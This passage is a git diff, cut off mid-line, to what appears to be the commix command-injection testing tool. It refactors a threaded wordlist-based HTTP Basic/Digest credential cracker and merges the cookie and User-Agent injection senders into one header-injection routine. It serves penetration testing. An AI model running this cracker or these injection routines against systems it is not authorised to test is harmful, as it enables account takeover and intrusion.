timeout=settings.TIMEOUT) + response.close() + return True + except KeyboardInterrupt: + raise + except (Exception, SystemExit): + return False + """ Simple Basic / Digest HTTP authentication cracker. """ @@ -119,70 +146,69 @@ def http_auth_cracker(url, realm, http_request_method): return False # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() - i = 1 - found = False - total = len(usernames) * len(passwords) - for username in usernames: - for password in passwords: - float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) - # Check if verbose mode on - if settings.VERBOSITY_LEVEL != 0: - payload = "'" + username + ":" + password + "'" - if settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.print_checking_msg(payload)) - else: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * len(payload)) - try: - # Basic authentication - if authentication_type.lower() == settings.AUTH_TYPE.BASIC: - authhandler = _urllib.request.HTTPBasicAuthHandler() - # Digest authentication - elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST: - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler, redirection.RedirectHandler()) - _urllib.request.install_opener(opener) - request = _urllib.request.Request(url, method=http_request_method) - headers.do_check(request) - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again for every credential tried. - response = headers.check_http_traffic(request) - if response is None: - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - found = True - except KeyboardInterrupt : - raise - except (Exception, SystemExit): - # Don't abort the whole wordlist attack on one failed request. - pass - if found: - if settings.VERBOSITY_LEVEL == 0: - float_percent = settings.info_msg + pairs = [(u, p) for u in usernames for p in passwords] + total = len(pairs) + completed = 0 + last_bucket = -1 + found_pair = None + + def report(username, password, succeeded): + nonlocal completed, last_bucket + completed += 1 + if settings.VERBOSITY_LEVEL != 0: + payload = "'" + username + ":" + password + "'" + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.print_checking_msg(payload)) else: - if str(float_percent) == "100.0%": - if settings.VERBOSITY_LEVEL == 0: - float_percent = settings.FAIL_STATUS - else: - i = i + 1 - float_percent = ".. (" + float_percent + ")" - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing for valid HTTP authentication credentials." - info_msg += float_percent - settings.print_data_to_stdout((settings.END_LINE.CR * 2) + settings.print_info_msg(info_msg)) - - if found: - if not settings.LOAD_SESSION: - session_handler.import_valid_credentials(url, authentication_type, url, username, password) - valid_pair = "" + username + ":" + password + "" - if not settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Authentication succeeded using credentials: '" + valid_pair + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - return valid_pair + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * len(payload)) + return + # A "." per 4%-wide bucket, then " (done)" - same progress style as the injection techniques. + if not settings.PROGRESS_LINE_OPEN: + info_msg = "Testing for valid HTTP authentication credentials." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if succeeded or completed == total: + settings.print_data_to_stdout(" (done)") + return + bucket = int(((completed * 100) / total) // 4) + if bucket != last_bucket: + last_bucket = bucket + settings.print_data_to_stdout(".") + + fan_out = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 + try: + if fan_out > 1: + with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: + for batch_start in range(0, total, fan_out): + if found_pair: + break + batch = pairs[batch_start:batch_start + fan_out] + future_to_pair = dict((executor.submit(_try_credentials, url, realm, http_request_method, authentication_type, u, p), (u, p)) for u, p in batch) + for future in concurrent.futures.as_completed(future_to_pair): + username, password = future_to_pair[future] + succeeded = future.result() + report(username, password, succeeded) + if succeeded and not found_pair: + found_pair = (username, password) + else: + for username, password in pairs: + succeeded = _try_credentials(url, realm, http_request_method, authentication_type, username, password) + report(username, password, succeeded) + if succeeded: + found_pair = (username, password) + break + except KeyboardInterrupt: + raise + + if found_pair: + username, password = found_pair + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type, url, username, password) + valid_pair = "" + username + ":" + password + "" + if not settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Authentication succeeded using credentials: '" + valid_pair + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return valid_pair err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 84960600f9..7423b6366f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -23,25 +23,20 @@ else: # Handle target environment that doesn't support HTTPS verification ssl._create_default_https_context = _create_unverified_https_context -import sys - import time -import errno -import base64 try: from base64 import encodebytes except ImportError: from base64 import encodestring as encodebytes -import socket from socket import error as SocketError from src.thirdparty.six.moves import http_client as _http_client from src.utils import logs from src.utils import menu from src.utils import settings from src.core.injections.controller import checks +from src.core.requests import proxy from src.core.requests import redirection from src.core.requests import stability -from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import urllib as _urllib """ @@ -50,7 +45,6 @@ def encode_non_ascii_url(request): url = request.get_full_url() parts = _urllib.parse.urlsplit(url) - # Encode path, preserving '/', '*', and '%' to avoid over-encoding path = _urllib.parse.quote(parts.path, safe=settings.SAFE_PATH) # Encode query string, preserving delimiters and the parameter delimiter query = _urllib.parse.quote(parts.query, safe=settings.query_safe_chars() + settings.URL_PARAM_DELIMITER) @@ -122,6 +116,21 @@ def print_http_response(response_headers, code, page): # Blank line closing out this traffic block before whatever's printed next. settings.print_data_to_stdout("") +""" +Probe once to read the realm off the target's own WWW-Authenticate challenge. +""" +def discover_digest_realm(url): + try: + _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + except _urllib.error.HTTPError as e: + authline = e.headers.get('www-authenticate', '') + match = re.match(r'''(\w*)\s+realm=(.*)''', authline) + if match: + return match.group(2).split(',')[0].strip().strip('"') + except Exception: + pass + return "" + """ Checking the HTTP Headers & HTTP/S Request. """ @@ -155,9 +164,6 @@ def send(self, req): logs.log_traffic(settings.END_LINE.LF + header) if ends_with_blank_line and settings.USER_DEFINED_POST_DATA and settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout("") - # This is the body-only send() call (headers always end in a blank line, - # this doesn't). At verbosity 2, responses aren't printed to close out - # the block themselves, so do it here instead. elif not ends_with_blank_line and settings.USER_DEFINED_POST_DATA and settings.VERBOSITY_LEVEL == 2: settings.print_data_to_stdout("") http_client.send(self, req) @@ -180,9 +186,6 @@ def print_http_response(self): def http_open(self, req): try: self.print_http_response() - # do_open() already returns the real response - calling super().http_open() - # too would do_open() a SECOND time (its own default, unlogged connection), - # sending every request twice. return self.do_open(connection, req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) @@ -194,15 +197,27 @@ def https_open(self, req): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) + # Digest needs a handler on the sending opener, unlike Basic/Bearer's static header. + extra_handlers = [] + if menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if settings.DIGEST_AUTH_REALM is None: + settings.DIGEST_AUTH_REALM = discover_digest_realm(menu.options.url) + digest_handler = _urllib.request.HTTPDigestAuthHandler() + username, _, password = menu.options.auth_cred.partition(":") + digest_handler.add_password(settings.DIGEST_AUTH_REALM, menu.options.url, username, password) + extra_handlers.append(digest_handler) + + request = encode_non_ascii_url(request) + # Also route through the configured proxy/Tor, so this fetch is reusable. if menu.options.ignore_proxy: - opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), connection_handler(), redirection.RedirectHandler()) + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), connection_handler(), redirection.RedirectHandler(), *extra_handlers) elif menu.options.tor: - opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), connection_handler(), redirection.RedirectHandler()) + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), connection_handler(), redirection.RedirectHandler(), *extra_handlers) else: if menu.options.proxy: request.set_proxy(menu.options.proxy, settings.SCHEME) - opener = _urllib.request.build_opener(connection_handler(), redirection.RedirectHandler()) + opener = _urllib.request.build_opener(connection_handler(), redirection.RedirectHandler(), *extra_handlers) # Time limit mechanism. if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): @@ -211,7 +226,6 @@ def https_open(self, req): _ = False response = False unauthorized = False - # Reused below instead of a fresh request, so a matched error isn't sent twice. pending_error = None while stability.should_keep_retrying(_, unauthorized): if any((settings.REVERSE_TCP, settings.BIND_TCP)): @@ -223,7 +237,6 @@ def https_open(self, req): settings.MULTI_ENCODED_PAYLOAD = [] menu.options.tamper = settings.USER_APPLIED_TAMPER try: - request = encode_non_ascii_url(request) response = opener.open(request, timeout=settings.TIMEOUT) _ = True with settings.REQUESTS_LOCK: @@ -235,7 +248,7 @@ def https_open(self, req): if not settings.CHECK_INTERNET: settings.INIT_TEST = False - except ValueError as err: + except ValueError: if settings.VERBOSITY_LEVEL < 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You provided an invalid target URL." @@ -310,6 +323,10 @@ def https_open(self, req): response_headers = err.info() code = err.code print_http_response(response_headers, code, page) + # WAF/CAPTCHA/block pages are usually served as error codes - check the body here too. + checks.captcha_check(page) + checks.browser_verification(page) + checks.blocked_ip(page) if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ @@ -364,6 +381,19 @@ def https_open(self, req): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Send a request, falling back to proxy/urlopen only if check_http_traffic() found no response. +""" +def send_request(request): + do_check(request) + response = check_http_traffic(request) + if response is None: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + return response + """ Check for added headers. """ @@ -422,28 +452,7 @@ def do_check(request): elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace(settings.END_LINE.LF, '') request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) - elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: - try: - url = menu.options.url - try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except (_urllib.error.HTTPError, _urllib.error.URLError) as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match(r'''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"", "") - user_pass_pair = menu.options.auth_cred.split(":", 1) - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler, redirection.RedirectHandler()) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except (_urllib.error.HTTPError, _urllib.error.URLError) as e: - pass + # Digest is handled in check_http_traffic()'s opener, not here. else: pass @@ -498,7 +507,6 @@ def do_check(request): # Check if it is a custom header injection. if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: if not settings.CUSTOM_HEADER_INJECTION: - # Values like 'Accept: */*' or ';q=0.9' legitimately contain '*' - don't misread them as a marker. benign_value = re.sub(settings.PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", http_header_value) if settings.CUSTOM_INJECTION_MARKER_CHAR in benign_value: settings.CUSTOM_INJECTION_MARKER = True diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index a8b0bf75f5..43a870021f 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -14,14 +14,11 @@ """ import re -import os -import sys import json from src.utils import menu from src.utils import settings from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list from src.thirdparty.odict import OrderedDict @@ -236,7 +233,7 @@ def do_GET_check(url, http_request_method): def register_custom_injection_marker(vuln_parameter, value_with_marker): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.TESTABLE_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = value_with_marker.split(settings.INJECT_TAG)[0] settings.POST_CUSTOM_INJECTION_MARKER_CHAR = value_with_marker.split(settings.INJECT_TAG)[1] except Exception: @@ -480,7 +477,6 @@ def handle_single_post_parameter(parameter, multi_parameters, http_request_metho parameter = parameter.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) else: if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: - # Anchor on ":<value>" to avoid matching inside a key name. anchor = ":" + settings.SINGLE_WHITESPACE + value if settings.IS_JSON and anchor not in parameter: anchor = ":" + value @@ -621,7 +617,7 @@ def vuln_POST_param(parameter, url): settings.TESTABLE_VALUE = str(flat[vuln_key]).split(settings.INJECT_TAG)[0] if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.TESTABLE_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST # XML data format. elif settings.IS_XML: @@ -705,12 +701,13 @@ def suffixes(payload, suffix): suffix = "" post_custom = resolve_marker_component("", settings.POST_CUSTOM_INJECTION_MARKER_CHAR) - if post_custom is not None and post_custom not in suffix: - suffix = suffix + post_custom + if post_custom: + if post_custom not in suffix: + suffix = suffix + post_custom # Check if defined "--suffix" option. - if menu.options.suffix and not settings.LOAD_SESSION: + elif menu.options.suffix and not settings.LOAD_SESSION: if not menu.options.suffix in suffix: - suffix = menu.options.suffix + suffix + suffix = suffix + menu.options.suffix payload = payload + suffix @@ -731,7 +728,7 @@ def do_cookie_check(cookie): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if len([s for s in multi_parameters if "=" in s]) == 0: + if len([s for s in multi_parameters if "=" in s]) == 0 and not menu.options.shellshock: checks.no_parameters_found() _ = [] diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 68a9e207ad..fe15e40baf 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -13,17 +13,11 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys -import socket from src.utils import menu from src.utils import settings -from src.core.requests import headers from src.core.requests import requests from src.core.requests import redirection -from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.thirdparty.six.moves import http_client as _http_client """ Use the defined HTTP Proxy diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 9f6155da9a..1762b72a85 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -13,25 +13,18 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import errno -import base64 -try: - from base64 import encodebytes -except ImportError: - from base64 import encodestring as encodebytes -from src.utils import menu from src.utils import settings from src.utils import common from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init class Request(_urllib.request.Request): + def __init__(self, *args, method=None, **kwargs): + self._method = method + _urllib.request.Request.__init__(self, *args, **kwargs) + def get_method(self): - return settings.HTTPMETHOD.HEAD + return self._method or _urllib.request.Request.get_method(self) class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): """ @@ -42,20 +35,21 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if code in (301, 302, 303, 307): settings.REDIRECT_CODE = code if not settings.FOLLOW_REDIRECT: - # Not following - don't treat its status code as an error either. if code not in settings.IGNORE_CODE: settings.IGNORE_CODE.append(code) return None + # Preserve the original method, not HEAD. return Request(newurl.replace(' ', '%20'), data=request.data, - headers=request.headers + headers=request.headers, + method=request.get_method() ) else: err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) raise SystemExit() -def do_check(request, url, redirect_url, http_request_method): +def do_check(url, redirect_url): """ This functinality is based on Filippo's Valsorda script [1]. --- diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 1a8b2179f7..cac14714cb 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -14,9 +14,7 @@ """ import re -import sys import time -import socket import difflib import statistics from socket import error as SocketError @@ -31,16 +29,12 @@ from src.utils import crawler from src.core.requests import proxy from src.core.requests import headers -from src.core.requests import requests from src.core.requests import parameters from src.core.requests import redirection from src.core.requests import authentication from src.core.requests import stability from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import http_client as _http_client -from src.thirdparty.colorama import Fore, Back, Style, init """ Check if the content of the given URL is stable over time. @@ -51,7 +45,6 @@ def is_url_content_stable(url, response=None, fetch_time=None, http_request_meth settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def _build_request(): - # Must mirror the real request (method + POST body) - comparing against a bare GET makes a stable page look "dynamic". method = http_request_method or settings.HTTPMETHOD.GET if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=method) @@ -62,7 +55,6 @@ def _build_request(): try: if response is not None: - # Reuse the connection-test response and make .read() reusable for later checks. raw_body = response.read() first_response_content = raw_body.strip() response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) @@ -74,14 +66,12 @@ def _build_request(): first_response.close() fetch_time = time.time() - # Only wait out what's left of the window - earlier steps (WAF check) count too. remaining = settings.STABILITY_CHECK_DELAY if fetch_time is not None: remaining = max(0, min(settings.STABILITY_CHECK_DELAY, settings.STABILITY_CHECK_DELAY - (time.time() - fetch_time))) if remaining: time.sleep(remaining) - # Bare urlopen(url) would drop the user's cookie/headers, making an authenticated target look different. second_response = _urllib.request.urlopen(_build_request(), timeout=settings.TIMEOUT) try: second_response_content = second_response.read().strip() @@ -118,8 +108,6 @@ def crawler_request(url, http_request_method): data = None request = _urllib.request.Request(url, data, method=http_request_method) headers.do_check(request) - # check_http_traffic() already sends the request - reusing its result instead - # of discarding it and sending a second, identical one. response = headers.check_http_traffic(request) if response is None: if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -128,7 +116,7 @@ def crawler_request(url, http_request_method): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: if response.geturl() != url: - href = redirection.do_check(request, url, response.geturl(), http_request_method) + href = redirection.do_check(url, response.geturl()) if href != url: crawler.store_hrefs(href, identified_hrefs=True, redirection=True) return response @@ -142,6 +130,21 @@ def crawler_request(url, http_request_method): else: request_failed(err_msg) +""" +Attach a harmless (tag-stripped) version of the cookie/header under test - do_check() skips it, but timing samples need the same target-side cost as real requests. +""" +def _attach_injection_point_placeholder(request): + if settings.COOKIE_INJECTION and menu.options.cookie: + request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) + elif settings.USER_AGENT_INJECTION and menu.options.agent: + request.add_header(settings.USER_AGENT, checks.remove_tags(menu.options.agent)) + elif settings.REFERER_INJECTION and menu.options.referer: + request.add_header(settings.REFERER, checks.remove_tags(menu.options.referer)) + elif settings.HOST_INJECTION and menu.options.host: + request.add_header(settings.HOST, checks.remove_tags(menu.options.host)) + elif settings.CUSTOM_HEADER_INJECTION and settings.CUSTOM_HEADER_VALUE: + request.add_header(settings.CUSTOM_HEADER_NAME, checks.remove_tags(settings.CUSTOM_HEADER_VALUE)) + """ A single, best-effort clean response-time sample; returns None on failure instead of raising. """ @@ -152,6 +155,7 @@ def quick_response_time_sample(url, http_request_method): else: request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) headers.do_check(request) + _attach_injection_point_placeholder(request) start = time.time() response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) @@ -178,6 +182,7 @@ def _measure_response_time_with_auth_handling(url, http_request_method): request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) headers.do_check(request) + _attach_injection_point_placeholder(request) start = time.time() try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) @@ -324,7 +329,6 @@ def _measure_response_time_with_auth_handling(url, http_request_method): def estimate_response_time(url, timesec, http_request_method): samples = [] - # Reuse url_response()'s own connection-test timing instead of repeating the round-trip. if settings.INIT_CONNECTION_TIME is not None: samples.append(settings.INIT_CONNECTION_TIME) settings.INIT_CONNECTION_TIME = None @@ -358,7 +362,6 @@ def _finish_response_time_estimate(diff, timesec): warn_msg += " data extraction." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - # No preemptive bump - the real delay decision uses the adaptive baseline threshold, not this estimate. timesec = int(timesec) settings.URL_TIME_RESPONSE = url_time_response @@ -371,7 +374,6 @@ def request_failed(err_msg): stability.mark_url_invalid() - # A deliberately unfollowed redirect isn't a real failure. if not settings.FOLLOW_REDIRECT and getattr(err_msg, "code", None) in (301, 302, 303, 307): stability.mark_url_valid() return False @@ -397,6 +399,8 @@ def request_failed(err_msg): elif re.search(r"(connection\s*refused|timed?\s*out|no\s*route|unreachable|tunnel)", str(error_msg), re.IGNORECASE): stability.disable_retries() + if any((settings.BIND_TCP, settings.REVERSE_TCP)) and re.search(r"timed?\s*out", str(error_msg), re.IGNORECASE): + raise SystemExit() err = "Unable to connect to the target URL" if menu.options.tor: err += " using the Tor network" @@ -418,8 +422,7 @@ def request_failed(err_msg): elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or \ - settings.PERFORM_CRACKING or \ - settings.WAF_DETECTION_PHASE: + settings.PERFORM_CRACKING: return False else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " @@ -428,9 +431,9 @@ def request_failed(err_msg): if settings.MULTI_TARGETS or settings.CRAWLING: err_msg += ". " else: - err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " + err_msg += " or re-run without providing them, in order to perform a dictionary-based attack. " else: - err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " + err_msg += " or re-run by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " if settings.CRAWLING: err_msg += "Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -451,13 +454,11 @@ def request_failed(err_msg): elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): error_msg = "Connection was forcibly closed by the target URL." elif checks.detect_waf(getattr(err_msg, "code", None)): - # First request never reaches continue_tests(), so check here too. if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] - # Same de-dup as continue_tests() - a code already warned about there (or here) shouldn't warn again. if not (len(settings.IGNORE_CODE) != 0 and any(str(x) in str(error_msg).lower() for x in settings.IGNORE_CODE)): warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) warn_msg += "' which could interfere with the results of the tests." @@ -467,7 +468,6 @@ def request_failed(err_msg): return False return True elif stability.should_retry_connection_error(error_msg): - # Likely transient noise, not a dead target. return True else: error_msg = "The provided target URL does not seem reachable. " @@ -477,7 +477,7 @@ def request_failed(err_msg): if not any((menu.options.proxy, menu.options.ignore_proxy, menu.options.tor)): items.append("proxy switches ('--proxy', '--ignore-proxy'...).") if items: - error_msg += "It might still be reachable. Try rerunning with " + error_msg += "It might still be reachable. Try re-running with " error_msg += " and/or ".join(items) settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: @@ -512,7 +512,6 @@ def request_failed(err_msg): """ def get_request_response(request): - # Reuse check_http_traffic()'s own fetch instead of requesting twice. response = headers.check_http_traffic(request) if response is not None: return response @@ -568,7 +567,6 @@ def init_injection(payload, http_request_method, url): response = get_request_response(request) if settings.TIME_RELATED_ATTACK: - # A failed request measured nothing real - retry instead of using its elapsed time. failed_attempts = 0 while response is False and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: failed_attempts += 1 @@ -576,42 +574,25 @@ def init_injection(payload, http_request_method, url): response = get_request_response(request) end = time.time() response = end - start - else: - exec_time = response return response, vuln_parameter """ -Check if target host is vulnerable. (Cookie-based injection) +Check if target host is vulnerable, injecting payload via the given set_header(request, payload) callback. """ -def cookie_injection(url, vuln_parameter, payload, http_request_method): - - def inject_cookie(url, vuln_parameter, payload, http_request_method): +def header_injection(url, payload, http_request_method, set_header): + def inject_header(url, payload, http_request_method): # Check if defined POST data if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None request = _urllib.request.Request(url, data, method=http_request_method) - #Check if defined extra headers. - headers.do_check(request) payload = checks.normalize_newlines(payload) - if settings.INJECT_TAG in menu.options.cookie: - # Percent-encode before inserting into the cookie; raw delimiters or spaces can corrupt the value, and PHP's $_COOKIE decodes it automatically. - encoded_payload = _urllib.parse.quote(payload, safe=settings.query_safe_chars()) - cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie) - request.add_header(settings.COOKIE, cookie) + set_header(request, payload) try: - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = headers.check_http_traffic(request) - if response is None: - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response + return headers.send_request(request) except ValueError: pass @@ -621,11 +602,19 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): start = time.time() try: - response = inject_cookie(url, vuln_parameter, payload, http_request_method) + response = inject_header(url, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) if settings.TIME_RELATED_ATTACK : + failed_attempts = 0 + while response is False and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: + failed_attempts += 1 + start = time.time() + try: + response = inject_header(url, payload, http_request_method) + except Exception as err_msg: + response = request_failed(err_msg) end = time.time() exec_time = end - start return exec_time @@ -633,188 +622,39 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): return response """ -Check if target host is vulnerable. (User-Agent-based injection) +Check if target host is vulnerable. (Cookie-based injection) """ -def user_agent_injection(url, vuln_parameter, payload, http_request_method): - - def inject_user_agent(url, vuln_parameter, payload, http_request_method): - # Check if defined POST data - if settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) - else: - data = None - request = _urllib.request.Request(url, data, method=http_request_method) - #Check if defined extra headers. - headers.do_check(request) - payload = checks.normalize_newlines(payload) - request.add_header(settings.USER_AGENT, payload) - try: - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = headers.check_http_traffic(request) - if response is None: - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except ValueError: - pass - - if settings.TIME_RELATED_ATTACK : - start = 0 - end = 0 - start = time.time() - - try: - response = inject_user_agent(url, vuln_parameter, payload, http_request_method) - except Exception as err_msg: - response = request_failed(err_msg) +def cookie_injection(url, payload, http_request_method): + def set_cookie(request, payload): + if settings.INJECT_TAG in menu.options.cookie: + encoded_payload = _urllib.parse.quote(payload, safe=settings.query_safe_chars()) + cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie) + request.add_header(settings.COOKIE, cookie) + return header_injection(url, payload, http_request_method, set_cookie) - if settings.TIME_RELATED_ATTACK : - end = time.time() - exec_time = end - start - return exec_time - else: - return response +""" +Check if target host is vulnerable. (User-Agent-based injection) +""" +def 